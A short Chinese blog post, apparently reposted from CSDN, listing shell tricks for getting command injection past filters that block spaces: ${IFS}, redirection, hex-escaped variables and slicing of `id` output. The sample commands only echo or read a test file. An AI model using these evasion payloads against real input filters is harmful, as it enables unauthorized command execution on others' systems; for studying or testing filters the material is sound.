命令注入绕过空格

01 全局变量

$ echo${IFS}1234
1234
$ echo$IFS$91234
1234

02 重定向符

$ cat<test
1234
$ cat<>test
1234

03 变量定义

$ cmd=$'\x201234'&&echo$cmd
1234

这个方式可以用ASCII编码,绕过所有字符限制。

04 字符串处理

$ a=$(id)&&b=${a:16:1}&&echo${b}1234
1234
$ a=$(id)&&b=${a#*)}&&c=${b%%g*}&&echo${c}1234
1234
$ a=$(id)&&b=${a#uid=0(root)}&&touch$b&&c=$(ls)&&d=${c#gid=0(root)}&&e=${d%groups=0(root)}&&echo${e}1234
1234

05 其他特殊字符绕过

  1. 文件分割:cut,split,sed,awk
  2. 脚本语言:python,perl
  3. xxd -r -p file
发布了14 篇原创文章 · 获赞 0 · 访问量 352

猜你喜欢

转载自blog.csdn.net/weixin_39219503/article/details/103948357
今日推荐